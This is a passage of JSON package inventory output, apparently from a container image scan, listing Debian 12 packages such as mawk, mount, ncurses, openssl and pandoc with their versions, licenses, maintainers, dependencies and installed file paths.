"/usr/share/man/man1/make.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "mawk@1.3.4.20200120-3.1", "Name": "mawk", "Identifier": { "PURL": "pkg:deb/debian/mawk@1.3.4.20200120-3.1?arch=amd64\u0026distro=debian-12.13", "UID": "81958ddb091f12c3" }, "Version": "1.3.4.20200120", "Release": "3.1", "Arch": "amd64", "SrcName": "mawk", "SrcVersion": "1.3.4.20200120", "SrcRelease": "3.1", "Licenses": [ "GPL-2.0-only", "X11", "CC-BY-3.0" ], "Maintainer": "Boyuan Yang \u003cbyang@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/bin/mawk", "/usr/share/doc/mawk/ACKNOWLEDGMENT", "/usr/share/doc/mawk/README", "/usr/share/doc/mawk/changelog.Debian.gz", "/usr/share/doc/mawk/changelog.gz", "/usr/share/doc/mawk/copyright", "/usr/share/doc/mawk/examples/ct_length.awk", "/usr/share/doc/mawk/examples/decl.awk", "/usr/share/doc/mawk/examples/deps.awk", "/usr/share/doc/mawk/examples/eatc.awk", "/usr/share/doc/mawk/examples/gdecl.awk", "/usr/share/doc/mawk/examples/hcal", "/usr/share/doc/mawk/examples/hical", "/usr/share/doc/mawk/examples/nocomment.awk", "/usr/share/doc/mawk/examples/primes.awk", "/usr/share/doc/mawk/examples/qsort.awk", "/usr/share/man/man1/mawk.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "mount@2.38.1-5+deb12u3", "Name": "mount", "Identifier": { "PURL": "pkg:deb/debian/mount@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "db6b596e9b2c0272" }, "Version": "2.38.1", "Release": "5+deb12u3", "Arch": "amd64", "SrcName": "util-linux", "SrcVersion": "2.38.1", "SrcRelease": "5+deb12u3", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-or-later", "public-domain", "BSD-4-Clause", "MIT", "BSD-3-Clause", "BSLA", "LGPL-2.0-or-later", "LGPL-2.1-or-later", "LGPL-3.0-or-later", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "util-linux packagers \u003cutil-linux@packages.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/bin/mount", "/bin/umount", "/sbin/losetup", "/sbin/swapoff", "/sbin/swapon", "/usr/share/bash-completion/completions/losetup", "/usr/share/bash-completion/completions/mount", "/usr/share/bash-completion/completions/swapoff", "/usr/share/bash-completion/completions/swapon", "/usr/share/bash-completion/completions/umount", "/usr/share/doc/mount/changelog.Debian.gz", "/usr/share/doc/mount/changelog.gz", "/usr/share/doc/mount/copyright", "/usr/share/doc/mount/examples/filesystems", "/usr/share/doc/mount/examples/fstab", "/usr/share/doc/mount/examples/mount.fstab", "/usr/share/doc/mount/mount.txt", "/usr/share/lintian/overrides/mount", "/usr/share/man/man5/fstab.5.gz", "/usr/share/man/man8/losetup.8.gz", "/usr/share/man/man8/mount.8.gz", "/usr/share/man/man8/swapon.8.gz", "/usr/share/man/man8/umount.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "ncurses-base@6.4-4", "Name": "ncurses-base", "Identifier": { "PURL": "pkg:deb/debian/ncurses-base@6.4-4?arch=all\u0026distro=debian-12.13", "UID": "8e69deb4f19b17b3" }, "Version": "6.4", "Release": "4", "Arch": "all", "SrcName": "ncurses", "SrcVersion": "6.4", "SrcRelease": "4", "Licenses": [ "MIT/X11", "X11", "BSD-3-Clause" ], "Maintainer": "Craig Small \u003ccsmall@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/lib/terminfo/E/Eterm", "/lib/terminfo/a/ansi", "/lib/terminfo/c/cons25", "/lib/terminfo/c/cons25-debian", "/lib/terminfo/c/cygwin", "/lib/terminfo/d/dumb", "/lib/terminfo/h/hurd", "/lib/terminfo/l/linux", "/lib/terminfo/m/mach", "/lib/terminfo/m/mach-bold", "/lib/terminfo/m/mach-color", "/lib/terminfo/m/mach-gnu", "/lib/terminfo/m/mach-gnu-color", "/lib/terminfo/p/pcansi", "/lib/terminfo/r/rxvt", "/lib/terminfo/r/rxvt-basic", "/lib/terminfo/r/rxvt-unicode", "/lib/terminfo/r/rxvt-unicode-256color", "/lib/terminfo/s/screen", "/lib/terminfo/s/screen-256color", "/lib/terminfo/s/screen-256color-bce", "/lib/terminfo/s/screen-bce", "/lib/terminfo/s/screen-s", "/lib/terminfo/s/screen-w", "/lib/terminfo/s/screen.xterm-256color", "/lib/terminfo/s/sun", "/lib/terminfo/t/tmux", "/lib/terminfo/t/tmux-256color", "/lib/terminfo/v/vt100", "/lib/terminfo/v/vt102", "/lib/terminfo/v/vt220", "/lib/terminfo/v/vt52", "/lib/terminfo/w/wsvt25", "/lib/terminfo/w/wsvt25m", "/lib/terminfo/x/xterm", "/lib/terminfo/x/xterm-256color", "/lib/terminfo/x/xterm-color", "/lib/terminfo/x/xterm-mono", "/lib/terminfo/x/xterm-r5", "/lib/terminfo/x/xterm-r6", "/lib/terminfo/x/xterm-vt220", "/lib/terminfo/x/xterm-xfree86", "/usr/share/doc/ncurses-base/FAQ", "/usr/share/doc/ncurses-base/TODO.Debian", "/usr/share/doc/ncurses-base/changelog.Debian.gz", "/usr/share/doc/ncurses-base/changelog.gz", "/usr/share/doc/ncurses-base/copyright", "/usr/share/lintian/overrides/ncurses-base", "/usr/share/tabset/std", "/usr/share/tabset/stdcrt", "/usr/share/tabset/vt100", "/usr/share/tabset/vt300" ], "AnalyzedBy": "dpkg" }, { "ID": "ncurses-bin@6.4-4", "Name": "ncurses-bin", "Identifier": { "PURL": "pkg:deb/debian/ncurses-bin@6.4-4?arch=amd64\u0026distro=debian-12.13", "UID": "e3f559220e0fbad1" }, "Version": "6.4", "Release": "4", "Arch": "amd64", "SrcName": "ncurses", "SrcVersion": "6.4", "SrcRelease": "4", "Licenses": [ "MIT/X11", "X11", "BSD-3-Clause" ], "Maintainer": "Craig Small \u003ccsmall@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/bin/clear", "/usr/bin/infocmp", "/usr/bin/tabs", "/usr/bin/tic", "/usr/bin/toe", "/usr/bin/tput", "/usr/bin/tset", "/usr/share/doc/ncurses-bin/changelog.Debian.gz", "/usr/share/doc/ncurses-bin/changelog.gz", "/usr/share/doc/ncurses-bin/copyright", "/usr/share/man/man1/captoinfo.1.gz", "/usr/share/man/man1/clear.1.gz", "/usr/share/man/man1/infocmp.1.gz", "/usr/share/man/man1/infotocap.1.gz", "/usr/share/man/man1/tabs.1.gz", "/usr/share/man/man1/tic.1.gz", "/usr/share/man/man1/toe.1.gz", "/usr/share/man/man1/tput.1.gz", "/usr/share/man/man1/tset.1.gz", "/usr/share/man/man5/scr_dump.5.gz", "/usr/share/man/man5/term.5.gz", "/usr/share/man/man5/terminfo.5.gz", "/usr/share/man/man5/user_caps.5.gz", "/usr/share/man/man7/term.7.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "netbase@6.4", "Name": "netbase", "Identifier": { "PURL": "pkg:deb/debian/netbase@6.4?arch=all\u0026distro=debian-12.13", "UID": "aef12e3bac3cef36" }, "Version": "6.4", "Arch": "all", "SrcName": "netbase", "SrcVersion": "6.4", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Marco d'Itri \u003cmd@linux.it\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:b99979c554d5f2d69cbadc58ddd93437ce6bba42863814753b116dd758762b98" }, "InstalledFiles": [ "/usr/share/doc/netbase/changelog.gz", "/usr/share/doc/netbase/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "openssl@3.0.18-1~deb12u2", "Name": "openssl", "Identifier": { "PURL": "pkg:deb/debian/openssl@3.0.18-1~deb12u2?arch=amd64\u0026distro=debian-12.13", "UID": "363922abf5dc6da4" }, "Version": "3.0.18", "Release": "1~deb12u2", "Arch": "amd64", "SrcName": "openssl", "SrcVersion": "3.0.18", "SrcRelease": "1~deb12u2", "Licenses": [ "Apache-2.0", "Artistic-2.0", "GPL-1.0-or-later", "GPL-1.0-only" ], "Maintainer": "Debian OpenSSL Team \u003cpkg-openssl-devel@alioth-lists.debian.net\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libssl3@3.0.18-1~deb12u2" ], "Layer": { "DiffID": "sha256:b99979c554d5f2d69cbadc58ddd93437ce6bba42863814753b116dd758762b98" }, "InstalledFiles": [ "/usr/bin/c_rehash", "/usr/bin/openssl", "/usr/lib/ssl/misc/CA.pl", "/usr/lib/ssl/misc/tsget.pl", "/usr/share/doc/openssl/HOWTO/certificates.txt.gz", "/usr/share/doc/openssl/HOWTO/keys.txt", "/usr/share/doc/openssl/NEWS.Debian.gz", "/usr/share/doc/openssl/NEWS.md.gz", "/usr/share/doc/openssl/README-ENGINES.md.gz", "/usr/share/doc/openssl/README.Debian", "/usr/share/doc/openssl/README.md.gz", "/usr/share/doc/openssl/README.optimization", "/usr/share/doc/openssl/changelog.Debian.gz", "/usr/share/doc/openssl/changelog.gz", "/usr/share/doc/openssl/copyright", "/usr/share/doc/openssl/fingerprints.txt", "/usr/share/lintian/overrides/openssl", "/usr/share/man/man1/CA.pl.1ssl.gz", "/usr/share/man/man1/openssl-asn1parse.1ssl.gz", "/usr/share/man/man1/openssl-ca.1ssl.gz", "/usr/share/man/man1/openssl-ciphers.1ssl.gz", "/usr/share/man/man1/openssl-cmds.1ssl.gz", "/usr/share/man/man1/openssl-cmp.1ssl.gz", "/usr/share/man/man1/openssl-cms.1ssl.gz", "/usr/share/man/man1/openssl-crl.1ssl.gz", "/usr/share/man/man1/openssl-crl2pkcs7.1ssl.gz", "/usr/share/man/man1/openssl-dgst.1ssl.gz", "/usr/share/man/man1/openssl-dhparam.1ssl.gz", "/usr/share/man/man1/openssl-dsa.1ssl.gz", "/usr/share/man/man1/openssl-dsaparam.1ssl.gz", "/usr/share/man/man1/openssl-ec.1ssl.gz", "/usr/share/man/man1/openssl-ecparam.1ssl.gz", "/usr/share/man/man1/openssl-enc.1ssl.gz", "/usr/share/man/man1/openssl-engine.1ssl.gz", "/usr/share/man/man1/openssl-errstr.1ssl.gz", "/usr/share/man/man1/openssl-fipsinstall.1ssl.gz", "/usr/share/man/man1/openssl-format-options.1ssl.gz", "/usr/share/man/man1/openssl-gendsa.1ssl.gz", "/usr/share/man/man1/openssl-genpkey.1ssl.gz", "/usr/share/man/man1/openssl-genrsa.1ssl.gz", "/usr/share/man/man1/openssl-info.1ssl.gz", "/usr/share/man/man1/openssl-kdf.1ssl.gz", "/usr/share/man/man1/openssl-list.1ssl.gz", "/usr/share/man/man1/openssl-mac.1ssl.gz", "/usr/share/man/man1/openssl-namedisplay-options.1ssl.gz", "/usr/share/man/man1/openssl-nseq.1ssl.gz", "/usr/share/man/man1/openssl-ocsp.1ssl.gz", "/usr/share/man/man1/openssl-passphrase-options.1ssl.gz", "/usr/share/man/man1/openssl-passwd.1ssl.gz", "/usr/share/man/man1/openssl-pkcs12.1ssl.gz", "/usr/share/man/man1/openssl-pkcs7.1ssl.gz", "/usr/share/man/man1/openssl-pkcs8.1ssl.gz", "/usr/share/man/man1/openssl-pkey.1ssl.gz", "/usr/share/man/man1/openssl-pkeyparam.1ssl.gz", "/usr/share/man/man1/openssl-pkeyutl.1ssl.gz", "/usr/share/man/man1/openssl-prime.1ssl.gz", "/usr/share/man/man1/openssl-rand.1ssl.gz", "/usr/share/man/man1/openssl-rehash.1ssl.gz", "/usr/share/man/man1/openssl-req.1ssl.gz", "/usr/share/man/man1/openssl-rsa.1ssl.gz", "/usr/share/man/man1/openssl-rsautl.1ssl.gz", "/usr/share/man/man1/openssl-s_client.1ssl.gz", "/usr/share/man/man1/openssl-s_server.1ssl.gz", "/usr/share/man/man1/openssl-s_time.1ssl.gz", "/usr/share/man/man1/openssl-sess_id.1ssl.gz", "/usr/share/man/man1/openssl-smime.1ssl.gz", "/usr/share/man/man1/openssl-speed.1ssl.gz", "/usr/share/man/man1/openssl-spkac.1ssl.gz", "/usr/share/man/man1/openssl-srp.1ssl.gz", "/usr/share/man/man1/openssl-storeutl.1ssl.gz", "/usr/share/man/man1/openssl-ts.1ssl.gz", "/usr/share/man/man1/openssl-verification-options.1ssl.gz", "/usr/share/man/man1/openssl-verify.1ssl.gz", "/usr/share/man/man1/openssl-version.1ssl.gz", "/usr/share/man/man1/openssl-x509.1ssl.gz", "/usr/share/man/man1/openssl.1ssl.gz", "/usr/share/man/man1/tsget.1ssl.gz", "/usr/share/man/man5/config.5ssl.gz", "/usr/share/man/man5/fips_config.5ssl.gz", "/usr/share/man/man5/x509v3_config.5ssl.gz", "/usr/share/man/man7/EVP_ASYM_CIPHER-RSA.7ssl.gz", "/usr/share/man/man7/EVP_ASYM_CIPHER-SM2.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-AES.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-ARIA.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-BLOWFISH.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-CAMELLIA.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-CAST.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-CHACHA.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-DES.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-IDEA.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-NULL.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-RC2.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-RC4.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-RC5.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-SEED.7ssl.gz", "/usr/share/man/man7/EVP_CIPHER-SM4.7ssl.gz", "/usr/share/man/man7/EVP_KDF-HKDF.7ssl.gz", "/usr/share/man/man7/EVP_KDF-KB.7ssl.gz", "/usr/share/man/man7/EVP_KDF-KRB5KDF.7ssl.gz", "/usr/share/man/man7/EVP_KDF-PBKDF1.7ssl.gz", "/usr/share/man/man7/EVP_KDF-PBKDF2.7ssl.gz", "/usr/share/man/man7/EVP_KDF-PKCS12KDF.7ssl.gz", "/usr/share/man/man7/EVP_KDF-SCRYPT.7ssl.gz", "/usr/share/man/man7/EVP_KDF-SS.7ssl.gz", "/usr/share/man/man7/EVP_KDF-SSHKDF.7ssl.gz", "/usr/share/man/man7/EVP_KDF-TLS13_KDF.7ssl.gz", "/usr/share/man/man7/EVP_KDF-TLS1_PRF.7ssl.gz", "/usr/share/man/man7/EVP_KDF-X942-ASN1.7ssl.gz", "/usr/share/man/man7/EVP_KDF-X942-CONCAT.7ssl.gz", "/usr/share/man/man7/EVP_KDF-X963.7ssl.gz", "/usr/share/man/man7/EVP_KEM-RSA.7ssl.gz", "/usr/share/man/man7/EVP_KEYEXCH-DH.7ssl.gz", "/usr/share/man/man7/EVP_KEYEXCH-ECDH.7ssl.gz", "/usr/share/man/man7/EVP_KEYEXCH-X25519.7ssl.gz", "/usr/share/man/man7/EVP_MAC-BLAKE2.7ssl.gz", "/usr/share/man/man7/EVP_MAC-CMAC.7ssl.gz", "/usr/share/man/man7/EVP_MAC-GMAC.7ssl.gz", "/usr/share/man/man7/EVP_MAC-HMAC.7ssl.gz", "/usr/share/man/man7/EVP_MAC-KMAC.7ssl.gz", "/usr/share/man/man7/EVP_MAC-Poly1305.7ssl.gz", "/usr/share/man/man7/EVP_MAC-Siphash.7ssl.gz", "/usr/share/man/man7/EVP_MD-BLAKE2.7ssl.gz", "/usr/share/man/man7/EVP_MD-MD2.7ssl.gz", "/usr/share/man/man7/EVP_MD-MD4.7ssl.gz", "/usr/share/man/man7/EVP_MD-MD5-SHA1.7ssl.gz", "/usr/share/man/man7/EVP_MD-MD5.7ssl.gz", "/usr/share/man/man7/EVP_MD-MDC2.7ssl.gz", "/usr/share/man/man7/EVP_MD-NULL.7ssl.gz", "/usr/share/man/man7/EVP_MD-RIPEMD160.7ssl.gz", "/usr/share/man/man7/EVP_MD-SHA1.7ssl.gz", "/usr/share/man/man7/EVP_MD-SHA2.7ssl.gz", "/usr/share/man/man7/EVP_MD-SHA3.7ssl.gz", "/usr/share/man/man7/EVP_MD-SHAKE.7ssl.gz", "/usr/share/man/man7/EVP_MD-SM3.7ssl.gz", "/usr/share/man/man7/EVP_MD-WHIRLPOOL.7ssl.gz", "/usr/share/man/man7/EVP_MD-common.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-DH.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-DSA.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-EC.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-FFC.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-HMAC.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-RSA.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-SM2.7ssl.gz", "/usr/share/man/man7/EVP_PKEY-X25519.7ssl.gz", "/usr/share/man/man7/EVP_RAND-CTR-DRBG.7ssl.gz", "/usr/share/man/man7/EVP_RAND-HASH-DRBG.7ssl.gz", "/usr/share/man/man7/EVP_RAND-HMAC-DRBG.7ssl.gz", "/usr/share/man/man7/EVP_RAND-SEED-SRC.7ssl.gz", "/usr/share/man/man7/EVP_RAND-TEST-RAND.7ssl.gz", "/usr/share/man/man7/EVP_RAND.7ssl.gz", "/usr/share/man/man7/EVP_SIGNATURE-DSA.7ssl.gz", "/usr/share/man/man7/EVP_SIGNATURE-ECDSA.7ssl.gz", "/usr/share/man/man7/EVP_SIGNATURE-ED25519.7ssl.gz", "/usr/share/man/man7/EVP_SIGNATURE-HMAC.7ssl.gz", "/usr/share/man/man7/EVP_SIGNATURE-RSA.7ssl.gz", "/usr/share/man/man7/OSSL_PROVIDER-FIPS.7ssl.gz", "/usr/share/man/man7/OSSL_PROVIDER-base.7ssl.gz", "/usr/share/man/man7/OSSL_PROVIDER-default.7ssl.gz", "/usr/share/man/man7/OSSL_PROVIDER-legacy.7ssl.gz", "/usr/share/man/man7/OSSL_PROVIDER-null.7ssl.gz", "/usr/share/man/man7/RAND.7ssl.gz", "/usr/share/man/man7/RSA-PSS.7ssl.gz", "/usr/share/man/man7/X25519.7ssl.gz", "/usr/share/man/man7/bio.7ssl.gz", "/usr/share/man/man7/crypto.7ssl.gz", "/usr/share/man/man7/ct.7ssl.gz", "/usr/share/man/man7/des_modes.7ssl.gz", "/usr/share/man/man7/evp.7ssl.gz", "/usr/share/man/man7/fips_module.7ssl.gz", "/usr/share/man/man7/life_cycle-cipher.7ssl.gz", "/usr/share/man/man7/life_cycle-digest.7ssl.gz", "/usr/share/man/man7/life_cycle-kdf.7ssl.gz", "/usr/share/man/man7/life_cycle-mac.7ssl.gz", "/usr/share/man/man7/life_cycle-pkey.7ssl.gz", "/usr/share/man/man7/life_cycle-rand.7ssl.gz", "/usr/share/man/man7/migration_guide.7ssl.gz", "/usr/share/man/man7/openssl-core.h.7ssl.gz", "/usr/share/man/man7/openssl-core_dispatch.h.7ssl.gz", "/usr/share/man/man7/openssl-core_names.h.7ssl.gz", "/usr/share/man/man7/openssl-env.7ssl.gz", "/usr/share/man/man7/openssl-glossary.7ssl.gz", "/usr/share/man/man7/openssl-threads.7ssl.gz", "/usr/share/man/man7/openssl_user_macros.7ssl.gz", "/usr/share/man/man7/ossl_store-file.7ssl.gz", "/usr/share/man/man7/ossl_store.7ssl.gz", "/usr/share/man/man7/passphrase-encoding.7ssl.gz", "/usr/share/man/man7/property.7ssl.gz", "/usr/share/man/man7/provider-asym_cipher.7ssl.gz", "/usr/share/man/man7/provider-base.7ssl.gz", "/usr/share/man/man7/provider-cipher.7ssl.gz", "/usr/share/man/man7/provider-decoder.7ssl.gz", "/usr/share/man/man7/provider-digest.7ssl.gz", "/usr/share/man/man7/provider-encoder.7ssl.gz", "/usr/share/man/man7/provider-kdf.7ssl.gz", "/usr/share/man/man7/provider-kem.7ssl.gz", "/usr/share/man/man7/provider-keyexch.7ssl.gz", "/usr/share/man/man7/provider-keymgmt.7ssl.gz", "/usr/share/man/man7/provider-mac.7ssl.gz", "/usr/share/man/man7/provider-object.7ssl.gz", "/usr/share/man/man7/provider-rand.7ssl.gz", "/usr/share/man/man7/provider-signature.7ssl.gz", "/usr/share/man/man7/provider-storemgmt.7ssl.gz", "/usr/share/man/man7/provider.7ssl.gz", "/usr/share/man/man7/proxy-certificates.7ssl.gz", "/usr/share/man/man7/ssl.7ssl.gz", "/usr/share/man/man7/x509.7ssl.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "pandoc@2.17.1.1-2~deb12u1", "Name": "pandoc", "Identifier": { "PURL": "pkg:deb/debian/pandoc@2.17.1.1-2~deb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "9d49744884d6c5db" }, "Version": "2.17.1.1", "Release": "2~deb12u1", "Arch": "amd64", "SrcName": "pandoc", "SrcVersion": "2.17.1.1", "SrcRelease": "2~deb12u1", "Licenses": [ "GPL-2.0-or-later", "BSD-3-clause~JohnMacFarlane", "ISC", "CC-BY-SA-3.0", "GPL-2.0-only", "MS-RL", "BSD-3-Clause~Glasgow", "public-domain", "WTFPL-2", "GPL-3.0-or-later", "GPL-3.0-only" ], "Maintainer": "Debian Haskell Group \u003cdebian-haskell@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libffi8@3.4.4-1", "libgmp10@2:6.2.1+dfsg1-1.1", "liblua5.3-0@5.3.6-2", "libyaml-0-2@0.2.5-1", "pandoc-data@2.17.1.1-2~deb12u1", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/bin/pandoc", "/usr/share/doc/pandoc/BUGS", "/usr/share/doc/pandoc/README.Debian", "/usr/share/doc/pandoc/README.md.gz", "/usr/share/doc/pandoc/TODO.Debian", "/usr/share/doc/pandoc/buildinfo_amd64.gz", "/usr/share/doc/pandoc/changelog.Debian.gz", "/usr/share/doc/pandoc/changelog.gz", "/usr/share/doc/pandoc/copyright", "/usr/share/lintian/overrides/pandoc", "/usr/share/man/man1/pandoc.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "pandoc-data@2.17.1.1-2~deb12u1", "Name": "pandoc-data", "Identifier": { "PURL": "pkg:deb/debian/pandoc-data@2.17.1.1-2~deb12u1?arch=all\u0026distro=debian-12.13", "UID": "74b8d0f1d0d5f0ee" }, "Version": "2.17.1.1", "Release": "2~deb12u1", "Arch": "all", "SrcName": "pandoc", "SrcVersion": "2.17.1.1", "SrcRelease": "2~deb12u1", "Licenses": [ "GPL-2.0-or-later", "BSD-3-clause~JohnMacFarlane", "ISC", "CC-BY-SA-3.0", "GPL-2.0-only", "MS-RL", "BSD-3-Clause~Glasgow", "public-domain", "WTFPL-2", "GPL-3.0-or-later", "GPL-3.0-only" ], "Maintainer": "Debian Haskell Group \u003cdebian-haskell@lists.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/share/doc/pandoc-data/BUGS", "/usr/share/doc/pandoc-data/README.md.gz", "/usr/share/doc/pandoc-data/buildinfo_all.gz", "/usr/share/doc/pandoc-data/changelog.Debian.gz", "/usr/share/doc/pandoc-data/changelog.gz", "/usr/share/doc/pandoc-data/copyright", "/usr/share/pandoc/data/abbreviations", "/usr/share/pandoc/data/bash_completion.tpl", "/usr/share/pandoc/data/creole.lua", "/usr/share/pandoc/data/default.csl", "/usr/share/pandoc/data/docx/[Content_Types].xml", "/usr/share/pandoc/data/docx/_rels/.rels", "/usr/share/pandoc/data/docx/docProps/app.xml", "/usr/share/pandoc/data/docx/docProps/core.xml", "/usr/share/pandoc/data/docx/docProps/custom.xml", "/usr/share/pandoc/data/docx/word/_rels/document.xml.rels", "/usr/share/pandoc/data/docx/word/_rels/footnotes.xml.rels", "/usr/share/pandoc/data/docx/word/comments.xml", "/usr/share/pandoc/data/docx/word/document.xml", "/usr/share/pandoc/data/docx/word/fontTable.xml", "/usr/share/pandoc/data/docx/word/footnotes.xml", "/usr/share/pandoc/data/docx/word/numbering.xml", "/usr/share/pandoc/data/docx/word/settings.xml", "/usr/share/pandoc/data/docx/word/styles.xml", "/usr/share/pandoc/data/docx/word/theme/theme1.xml", "/usr/share/pandoc/data/docx/word/webSettings.xml", "/usr/share/pandoc/data/dzslides/template.html", "/usr/share/pandoc/data/epub.css", "/usr/share/pandoc/data/init.lua", "/usr/share/pandoc/data/odt/Configurations2/accelerator/current.xml", "/usr/share/pandoc/data/odt/META-INF/manifest.xml", "/usr/share/pandoc/data/odt/Thumbnails/thumbnail.png", "/usr/share/pandoc/data/odt/content.xml", "/usr/share/pandoc/data/odt/manifest.rdf", "/usr/share/pandoc/data/odt/meta.xml", "/usr/share/pandoc/data/odt/mimetype", "/usr/share/pandoc/data/odt/settings.xml", "/usr/share/pandoc/data/odt/styles.xml", "/usr/share/pandoc/data/pptx/[Content_Types].xml", "/usr/share/pandoc/data/pptx/_rels/.rels", "/usr/share/pandoc/data/pptx/docProps/app.xml", "/usr/share/pandoc/data/pptx/docProps/core.xml", "/usr/share/pandoc/data/pptx/ppt/_rels/presentation.xml.rels", "/usr/share/pandoc/data/pptx/ppt/notesMasters/_rels/notesMaster1.xml.rels", "/usr/share/pandoc/data/pptx/ppt/notesMasters/notesMaster1.xml", "/usr/share/pandoc/data/pptx/ppt/notesSlides/_rels/notesSlide1.xml.rels", "/usr/share/pandoc/data/pptx/ppt/notesSlides/_rels/notesSlide2.xml.rels", "/usr/share/pandoc/data/pptx/ppt/notesSlides/notesSlide1.xml", "/usr/share/pandoc/data/pptx/ppt/notesSlides/notesSlide2.xml", "/usr/share/pandoc/data/pptx/ppt/presProps.xml", "/usr/share/pandoc/data/pptx/ppt/presentation.xml", "/usr/share/pandoc/data/pptx/ppt/slideLayouts/_rels/slideLayout1.xml.rels", "/usr/share/pandoc/data/pptx/ppt/slideLayouts/_rels/slideLayout10.xml.rels", "/usr/share/pandoc/data/pptx/ppt/slideLayouts/_rels/slideLayout11.xml.rels", "/usr/share/pandoc/data/pptx/ppt/slideLayouts/_rels/slideLayout2.xml.rels", "/usr/share/pandoc/data/pptx/ppt/slideLayouts/_rels/slideLayout3.xml.rels", "/usr/share/pandoc/data/pptx/ppt/slideLayouts/_rels/slideLayout4.xml.rels", "/usr/share/pandoc/data/pptx/ppt/slideLayouts/_rels/slideLayout5.xml.rels", "/usr/share/pandoc/data/pptx/ppt/slideLayouts/_rels/slideLayout6.xml.rels", "/usr/share/pandoc/data/pptx/ppt/slideLayouts/_rels/slideLayout7.xml.rels", "/usr/share/pandoc/data/pptx/ppt/slideLayouts/_rels/slideLayout8.xml.rels", "/usr/share/pandoc/data/pptx/ppt/slideLayouts/_rels/slideLayout9.xml.rels", "/usr/share/pandoc/data/pptx/ppt/slideLayouts/slideLayout1.xml", "/usr/share/pandoc/data/pptx/ppt/slideLayouts/slideLayout10.xml", "/usr/share/pandoc/data/pptx/ppt/slideLayouts/slideLayout11.xml", "/usr/share/pandoc/data/pptx/ppt/slideLayouts/slideLayout2.xml", "/usr/share/pandoc/data/pptx/ppt/slideLayouts/slideLayout3.xml", "/usr/share/pandoc/data/pptx/ppt/slideLayouts/slideLayout4.xml", "/usr/share/pandoc/data/pptx/ppt/slideLayouts/slideLayout5.xml", "/usr/share/pandoc/data/pptx/ppt/slideLayouts/slideLayout6.xml", "/usr/share/pandoc/data/pptx/ppt/slideLayouts/slideLayout7.xml", "/usr/share/pandoc/data/pptx/ppt/slideLayouts/slideLayout8.xml", "/usr/share/pandoc/data/pptx/ppt/slideLayouts/slideLayout9.xml", "/usr/share/pandoc/data/pptx/ppt/slideMasters/_rels/slideMaster1.xml.rels", "/usr/share/pandoc/data/pptx/ppt/slideMasters/slideMaster1.xml", "/usr/share/pandoc/data/pptx/ppt/slides/_rels/slide1.xml.rels", "/usr/share/pandoc/data/pptx/ppt/slides/_rels/slide2.xml.rels", "/usr/share/pandoc/data/pptx/ppt/slides/_rels/slide3.xml.rels", "/usr/share/pandoc/data/pptx/ppt/slides/_rels/slide4.xml.rels", "/usr/share/pandoc/data/pptx/ppt/slides/slide1.xml", "/usr/share/pandoc/data/pptx/ppt/slides/slide2.xml", "/usr/share/pandoc/data/pptx/ppt/slides/slide3.xml", "/usr/share/pandoc/data/pptx/ppt/slides/slide4.xml", "/usr/share/pandoc/data/pptx/ppt/tableStyles.xml", "/usr/share/pandoc/data/pptx/ppt/theme/theme1.xml", "/usr/share/pandoc/data/pptx/ppt/theme/theme2.xml", "/usr/share/pandoc/data/pptx/ppt/viewProps.xml", "/usr/share/pandoc/data/sample.lua", "/usr/share/pandoc/data/templates/affiliations.jats", "/usr/share/pandoc/data/templates/article.jats_publishing", "/usr/share/pandoc/data/templates/default.asciidoc", "/usr/share/pandoc/data/templates/default.asciidoctor", 